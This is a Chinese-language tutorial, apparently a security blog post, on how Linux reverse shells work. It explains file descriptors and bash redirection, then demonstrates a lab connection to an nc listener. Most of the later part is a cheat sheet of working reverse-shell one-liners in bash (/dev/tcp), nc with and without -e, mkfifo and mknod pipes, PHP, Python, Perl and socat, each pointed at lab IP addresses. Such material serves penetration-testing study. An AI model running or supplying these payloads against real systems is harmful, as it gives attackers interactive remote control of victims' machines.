最近老是覺得自己白天工作累,晚上理應休息 墮落了幾天才發覺自己真垃圾,加緊向前吧。
0x00 前言
在平時滲透還是工作中經常會遇到shell反彈的情況,網上一搜反彈shell都是一大堆,但是真正遇到反彈shell的時候你真的懂了反彈shell
的payload 的? 這篇會細致總結下常見反彈shell的情況(Linux)和反彈shell的本質。
0x01 Linux的文件描述符
linux文件描述符:可以理解為linux跟蹤打開文件,而分配的一個數字,這個數字有點類似c語言操作文件時候的句柄,通過句柄就可以實現文件的讀寫操作。
當Linux啟動的時候會默認打開三個文件描述符,分別是:
標准輸入standard input 0 (默認設備鍵盤)
標准輸出standard output 1(默認設備顯示器)
錯誤輸出:error output 2(默認設備顯示器)
下面引用先知社區對文件描述符的腦圖,非常清晰

文件所有輸入輸出都是由該進程所有打開的文件描述符控制的。(Linux一切皆文件,就連鍵盤顯示器設備都是文件,因此他們的輸入輸出也是由文件描述符控制)
一條命令執行以前先會按照默認的情況進行綁定(也就是上面所說的 0,1,2),如果我們有時候需要讓輸出不顯示在顯示器上,而是輸出到文件或者其他設備,那我們就需要重定向。
(1)輸入重定向 < <<
(2)輸出重定向 > >>
還有就是>&這個符號的含義,最好的理解是這樣的:
當>&后面接文件時,表示將標准輸出和標准錯誤輸出重定向至文件。
當>&后面接文件描述符時,表示將前面的文件描述符重定向至后面的文件描述符
0x02 Linux bash反彈shell解析
ps:反彈shell的原因 ,這里提一下
通常是因為網絡環境(內網下斷機器)、防火牆受限(限制入站規則)、權限維持(目標會更換域名、ip等)等等原因。
bash反彈
bash -i >&/dev/tcp/192.168.5.3/6666 0>&1
一個個解析
bash -i 產生一個交互式bash,bash 是linux 的一個比較常見的shell,其實linux的shell還有很多,比如 sh、zsh、等,他們之間有着細小差別),-i 這個參數表示的是產生交互式的shell
>& /dev/tcp/ip/port 建立TCP連接,並將標准輸出和錯誤重定向到TCP連接,/dev/tcp|udp/ip/port 這個文件是特別特殊的,實際上可以將其看成一個設備(Linux下一切皆文件),其實如果你訪問這個文件的位置他是不存在的。
0>&1 從TCP連接獲取輸入
為了更好理解
這里我們也做個試驗
這里我們把bash的內容標准輸出和標准錯誤輸出都重定向到192.168.190.138/6666
攻擊機nc監聽:
nc -lvp 6666

目標機bash反彈
bash -i >&/dev/tcp/192.168.5.3/6666

因為這里目標機把bash的輸出重定向到攻擊機的6666端口,所以任何在受害者機器上執行的指令都不會直接回顯了,而是在攻擊者機器上回顯。

我們再來試驗一下
攻擊機還是nc監聽 這次目標機器執行
bash -i < /dev/tcp/192.168.5.3/6666
這是把/dev/tcp/192.168.5.3/6666的標准輸入重定向到目標機的bash
這條指令的意思是將攻擊者輸入的命令輸入給受害者的bash,自然就能執行了

攻擊機執行whoami

而回顯 也就是目標機的輸出還是在目標機的本機

ok這里就很清楚了輸出輸入的重定向了
bash反彈也就是結合上面兩條命令:
bash -i > /dev/tcp/192.168.5.3/6666 0>&1
輸入0是由/dev/tcp/192.168.5.3/6666 輸入的,也就是攻擊機的輸入,命令執行的結果1,會輸出到/dev/tcp/192.168.5.3/6666上,這就形成了一個回路,實現了我們遠程交互式shell 的功能


這時候我們的輸入還是會在目標機 這時候我們多加一條2>&1 標准錯誤輸入重定向到&1標准輸入,也就是我們攻擊機的6666端口
bash -i > /dev/tcp/192.168.5.3/6666 0>&1 2>&1

這時候目標機就沒有輸入的輸出了

0x03 常見反彈shell形式
bash反彈
bash -i>& /dev/tcp/192.168.146.129/2333 0>&1
bash -i>& /dev/tcp/192.168.146.129/2333 0<&1
這里的唯一區別就是 0>&1 和 0<&1 ,其實就是打開方式的不同,而對於這個文件描述符來講並沒有什么區別
exec綁定反彈
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
0<&196;exec 196<>/dev/tcp/192.168.5.3/6666; sh <&196 >&196 2>&196
nc反彈
nc 如果安裝了正確的版本(存在-e 選項就能直接反彈shell)
nc -e /bin/sh 192.168.146.129 2333
但是如果是沒有-e 選項是不是就不能實現了呢?當然不是,我們可以向下面這樣
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
mkfifo 命令首先創建了一個管道,cat 將管道里面的內容輸出傳遞給/bin/sh,sh會執行管道里的命令並將標准輸出和標准錯誤輸出結果通過nc 傳到該管道,由此形成了一個回路
類似的命令:
mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe
如果覺得很復雜 nc就算沒有-e也可以利用管道符直接反彈
nc -nvlp 6666 nc -nvlp 7777
連接
nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777
php反彈shell
使用php的exec函數執行方法1反彈shell的命令:
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
也可以使用php建立socket會話:
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
反向連接
php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.21.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
perl:
perl -e 'use Socket;$i="192.168.21.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
socat:
socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:192.168.21.1:8080
根據不用場景利用可利用的資源進行反彈
